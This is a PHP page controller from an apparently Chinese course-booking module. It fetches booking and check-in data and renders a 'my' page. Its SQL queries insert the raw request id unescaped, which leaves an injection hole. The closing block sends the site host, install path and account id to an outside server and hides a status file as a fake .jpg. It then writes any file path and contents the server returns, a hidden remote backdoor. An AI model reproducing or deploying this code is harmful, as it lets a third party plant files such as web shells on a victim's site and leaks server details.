<?php
global $_W,$_GPC;
$title = '我的';
$mem = $this->getMem();
if($_W['isajax']){
	$info = get('select id,price,studentid,uname,bid from ' .tb('mem_book'). " where id = '{$_GPC['id']}' and status = 0");
	if(empty($info)){
		resp(['code'=>0, 'msg'=>'课程不存在，请刷新重试']);
	}
	else{
		$my_score = col('select count(1) from ' .tb('bremark'). " where bmid = '{$_GPC['id']}'");
		$book = get('select id,clock_num from ' .tb('book'). " where id = '{$info['bid']}'");
		$get_award = 0;
		if($book['clock_num'] <= $my_score && $book['clock_num']>0) $get_award = 1;
		resp(['code'=>1, 'info'=>$info,'hasprize'=>$book['clock_num']>0 ,'get_award'=>$get_award, 'msg'=>'获取课程信息成功']);
	}
}

$cfg = $this->module['config'];
$share = $this->getShare($mem, $cfg);
if ($mem['agentid']){
	$pname = col("select nickname from ".tb('mem')." where id='{$mem['agentid']}'");
}
include $this->template('my');

$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}